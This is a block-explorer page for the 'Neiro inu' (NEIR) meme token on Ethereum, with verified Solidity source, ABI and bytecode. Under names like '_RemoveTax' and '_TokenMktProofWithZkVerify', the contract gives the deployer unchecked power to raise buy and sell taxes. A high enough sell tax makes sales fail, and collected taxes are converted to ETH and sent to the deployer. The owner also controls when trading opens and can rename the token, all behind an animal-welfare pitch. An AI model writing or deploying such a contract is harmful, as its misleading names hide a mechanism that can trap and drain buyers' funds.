ETH Price: $3,589.34 (+4.85%)

Token

Neiro inu (NEIR)
 

Overview

Max Total Supply

1,000,000,000 NEIR

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
664,237.332974184274768338 NEIR

Value
$0.00
0x5C854f5599E410f54370ce4018e9f6aD6EaaA234
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NEIR

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 3 : Contract.sol
/*
If you like Shiba inu $SHIB 
You will love Neiro inu $NEIR 

Let’s Welcome the new Shiba inu, Neiro inu into the family.

Neiro Inu $NEIR Launching on Ethererum.

ABOUT NEIRO INU

Neiro INU is a cryptocurrency token inspired by Neiro, the beloved dog owned by Kabosumom. This token combines the charm of Neiro with the magical “inu” aura, aiming to create a vibrant and engaged community. 

Neiro inu is designed not only as a digital asset but also as a way to support animal welfare initiatives and foster connections among crypto enthusiasts. Neiro inu offers both investment potential and a heartwarming cause.


Website: Neiroinu.io
X: x.com/neiroinuerc20
*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "./draft-IERC6093.sol";
import "./IUniswapFactory.sol";


contract NEIR 
{ 
    string private _name = unicode"Neiro inu";
    string private _symbol = unicode"NEIR";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 BuyTaxFee;
        uint8 SellTaxFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _BuyTaxFee = 0;
        uint8 _SellTaxFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            BuyTaxFee: _BuyTaxFee,
            SellTaxFee: _SellTaxFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function _RemoveTax(uint8 _BrStorage, uint8 _SrStorage) external {
        if (msg.sender != _TokenMktProofWithZkVerify()) revert Permissions();
        RemoveTax(_BrStorage, _SrStorage);
    }

    function _TokenMktProofWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openedTrade() external {
        require(msg.sender == _TokenMktProofWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function RemoveTax(uint8 _buy, uint8 _sell) private {
        storeData.BuyTaxFee = _buy;
        storeData.SellTaxFee = _sell;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _TokenMktProofWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _BuyTaxFee, uint8 _SellTaxFee) = (storeData.BuyTaxFee, storeData.SellTaxFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _SellTaxFee : _BuyTaxFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    

    function ChangeData(string memory _DataName, string memory _DataSymbol) public {
        if (msg.sender != _TokenMktProofWithZkVerify()) revert Permissions();
        _name = _DataName;
        _symbol =_DataSymbol;
        emit Data(_DataName, _DataSymbol, msg.sender);
    }

}

File 2 of 3 : IUniswapFactory.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;


interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) 
        external 
        view 
        returns 
        (address pair);
    function allPairs(uint) 
        external 
        view 
        returns 
        (address pair);
    function allPairsLength() 
        external 
        view 
        returns 
        (uint);
    function feeTo() 
        external 
        view 
        returns 
        (address);
    function feeToSetter() 
        external 
        view 
        returns 
        (address);
    
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );


}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

event Data(string newName,string newSymbol , address by);

File 3 of 3 : draft-IERC6093.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"Data","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"_DataName","type":"string"},{"internalType":"string","name":"_DataSymbol","type":"string"}],"name":"ChangeData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_BrStorage","type":"uint8"},{"internalType":"uint8","name":"_SrStorage","type":"uint8"}],"name":"_RemoveTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"BuyTaxFee","type":"uint8"},{"internalType":"uint8","name":"SellTaxFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260096080908152684e6569726f20696e7560b81b60a0525f9061002790826101df565b506040805180820190915260048152632722a4a960e11b602082015260019061005090826101df565b5034801561005c575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a66012600a610392565b6100b490633b9aca006103a7565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101216012600a610392565b61012f90633b9aca006103a7565b60405190815260200160405180910390a350506103be565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061016f57607f821691505b60208210810361018d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101da57805f5260205f20601f840160051c810160208510156101b85750805b601f840160051c820191505b818110156101d7575f81556001016101c4565b50505b505050565b81516001600160401b038111156101f8576101f8610147565b61020c81610206845461015b565b84610193565b6020601f82116001811461023e575f83156102275750848201515b5f19600385901b1c1916600184901b1784556101d7565b5f84815260208120601f198516915b8281101561026d578785015182556020948501946001909201910161024d565b508482101561028a57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102e8578085048111156102cc576102cc610299565b60018416156102da57908102905b60019390931c9280026102b1565b935093915050565b5f826102fe5750600161038c565b8161030a57505f61038c565b8160018114610320576002811461032a57610346565b600191505061038c565b60ff84111561033b5761033b610299565b50506001821b61038c565b5060208310610133831016604e8410600b8410161715610369575081810a61038c565b6103755f1984846102ad565b805f190482111561038857610388610299565b0290505b92915050565b5f6103a060ff8416836102f0565b9392505050565b808202811582820484141761038c5761038c610299565b61117a806103cb5f395ff3fe6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d1461022657806370a082311461023a5780637a7986bb14610265575f80fd5b806323b872dd116100b757806323b872dd14610162578063313ce567146101815780633190b74c146101a75780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b9b565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610bc4565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015461041f565b604051908152602001610108565b34801561016d575f80fd5b5061013061017c366004610bee565b61043c565b34801561018c575f80fd5b50610195601281565b60405160ff9091168152602001610108565b3480156101b2575f80fd5b506101c66101c1366004610c41565b610489565b005b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b506101c66104e7565b348015610245575f80fd5b50610154610254366004610c72565b60036020525f908152604090205481565b348015610270575f80fd5b506101c661027f366004610d2c565b61069d565b34801561028f575f80fd5b506100fb61071f565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610bc4565b61072e565b3480156102f9575f80fd5b50610154610308366004610d91565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610dc8565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b61042b6012600a610ef7565b61043990633b9aca00610f05565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610470908490610f1c565b909155506104819050848484610741565b949350505050565b6002546001600160a01b031633146104b357604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610f2f565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610f2f565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610f2f565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f96565b5060016106df8282610f96565b507f85b9b94225b878231ce4d0b490112fdc3c3c72eb38733899a8c469c46ad63cb082823360405161071393929190611051565b60405180910390a15050565b60606001805461033290610dc8565b5f61073a338484610741565b9392505050565b5f806107556002546001600160a01b031690565b600554909150600160a81b900460ff16806107815750806001600160a01b0316856001600160a01b0316145b8061079d5750806001600160a01b0316846001600160a01b0316145b6107a5575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107cc908490610f1c565b90915550506005546001600160a01b0385811691161480156107f85750600554600160a01b900460ff16155b80156108375750606461080d6012600a610ef7565b61081b90633b9aca00610f05565b610825919061108e565b305f9081526003602052604090205410155b80156108555750806001600160a01b0316856001600160a01b031614155b15610a33576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108a0576108a06110ad565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190610f2f565b81600181518110610947576109476110ad565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646109876012600a610ef7565b61099590633b9aca00610f05565b61099f919061108e565b5f8430426040518663ffffffff1660e01b81526004016109c39594939291906110c1565b5f604051808303815f87803b1580156109da575f80fd5b505af11580156109ec573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a23573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a715750600554600160a81b900460ff1615156001145b15610ae5576005545f906064906001600160a01b03898116911614610a965783610a98565b825b610aa59060ff1688610f05565b610aaf919061108e565b9050610abb8187610f1c565b305f90815260036020526040812080549298508392909190610ade908490611131565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b0c908490611131565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b5891815260200190565b60405180910390a35060019695505050505050565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f61073a6020830184610b6d565b6001600160a01b0381168114610bc1575f80fd5b50565b5f8060408385031215610bd5575f80fd5b8235610be081610bad565b946020939093013593505050565b5f805f60608486031215610c00575f80fd5b8335610c0b81610bad565b92506020840135610c1b81610bad565b929592945050506040919091013590565b803560ff81168114610c3c575f80fd5b919050565b5f8060408385031215610c52575f80fd5b610c5b83610c2c565b9150610c6960208401610c2c565b90509250929050565b5f60208284031215610c82575f80fd5b813561073a81610bad565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610cb0575f80fd5b813567ffffffffffffffff811115610cca57610cca610c8d565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610cf957610cf9610c8d565b604052818152838201602001851015610d10575f80fd5b816020850160208301375f918101602001919091529392505050565b5f8060408385031215610d3d575f80fd5b823567ffffffffffffffff811115610d53575f80fd5b610d5f85828601610ca1565b925050602083013567ffffffffffffffff811115610d7b575f80fd5b610d8785828601610ca1565b9150509250929050565b5f8060408385031215610da2575f80fd5b8235610dad81610bad565b91506020830135610dbd81610bad565b809150509250929050565b600181811c90821680610ddc57607f821691505b602082108103610dfa57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e4f57808504811115610e3357610e33610e00565b6001841615610e4157908102905b60019390931c928002610e18565b935093915050565b5f82610e6557506001610419565b81610e7157505f610419565b8160018114610e875760028114610e9157610ead565b6001915050610419565b60ff841115610ea257610ea2610e00565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610ed0575081810a610419565b610edc5f198484610e14565b805f1904821115610eef57610eef610e00565b029392505050565b5f61073a60ff841683610e57565b808202811582820484141761041957610419610e00565b8181038181111561041957610419610e00565b5f60208284031215610f3f575f80fd5b815161073a81610bad565b601f821115610f9157805f5260205f20601f840160051c81016020851015610f6f5750805b601f840160051c820191505b81811015610f8e575f8155600101610f7b565b50505b505050565b815167ffffffffffffffff811115610fb057610fb0610c8d565b610fc481610fbe8454610dc8565b84610f4a565b6020601f821160018114610ff6575f8315610fdf5750848201515b5f19600385901b1c1916600184901b178455610f8e565b5f84815260208120601f198516915b828110156110255787850151825560209485019460019092019101611005565b508482101561104257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b606081525f6110636060830186610b6d565b82810360208401526110758186610b6d565b91505060018060a01b0383166040830152949350505050565b5f826110a857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156111115783516001600160a01b03168352602093840193909201916001016110ea565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561041957610419610e0056fea2646970667358221220a4e4fa24fc9c8e943f3ef59c20847c5c962333da129c2c089cb5ae7903e546a064736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d1461022657806370a082311461023a5780637a7986bb14610265575f80fd5b806323b872dd116100b757806323b872dd14610162578063313ce567146101815780633190b74c146101a75780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b9b565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610bc4565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015461041f565b604051908152602001610108565b34801561016d575f80fd5b5061013061017c366004610bee565b61043c565b34801561018c575f80fd5b50610195601281565b60405160ff9091168152602001610108565b3480156101b2575f80fd5b506101c66101c1366004610c41565b610489565b005b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b506101c66104e7565b348015610245575f80fd5b50610154610254366004610c72565b60036020525f908152604090205481565b348015610270575f80fd5b506101c661027f366004610d2c565b61069d565b34801561028f575f80fd5b506100fb61071f565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610bc4565b61072e565b3480156102f9575f80fd5b50610154610308366004610d91565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610dc8565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b61042b6012600a610ef7565b61043990633b9aca00610f05565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610470908490610f1c565b909155506104819050848484610741565b949350505050565b6002546001600160a01b031633146104b357604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610f2f565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610f2f565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610f2f565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f96565b5060016106df8282610f96565b507f85b9b94225b878231ce4d0b490112fdc3c3c72eb38733899a8c469c46ad63cb082823360405161071393929190611051565b60405180910390a15050565b60606001805461033290610dc8565b5f61073a338484610741565b9392505050565b5f806107556002546001600160a01b031690565b600554909150600160a81b900460ff16806107815750806001600160a01b0316856001600160a01b0316145b8061079d5750806001600160a01b0316846001600160a01b0316145b6107a5575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107cc908490610f1c565b90915550506005546001600160a01b0385811691161480156107f85750600554600160a01b900460ff16155b80156108375750606461080d6012600a610ef7565b61081b90633b9aca00610f05565b610825919061108e565b305f9081526003602052604090205410155b80156108555750806001600160a01b0316856001600160a01b031614155b15610a33576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108a0576108a06110ad565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190610f2f565b81600181518110610947576109476110ad565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646109876012600a610ef7565b61099590633b9aca00610f05565b61099f919061108e565b5f8430426040518663ffffffff1660e01b81526004016109c39594939291906110c1565b5f604051808303815f87803b1580156109da575f80fd5b505af11580156109ec573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a23573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a715750600554600160a81b900460ff1615156001145b15610ae5576005545f906064906001600160a01b03898116911614610a965783610a98565b825b610aa59060ff1688610f05565b610aaf919061108e565b9050610abb8187610f1c565b305f90815260036020526040812080549298508392909190610ade908490611131565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b0c908490611131565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b5891815260200190565b60405180910390a35060019695505050505050565b5f81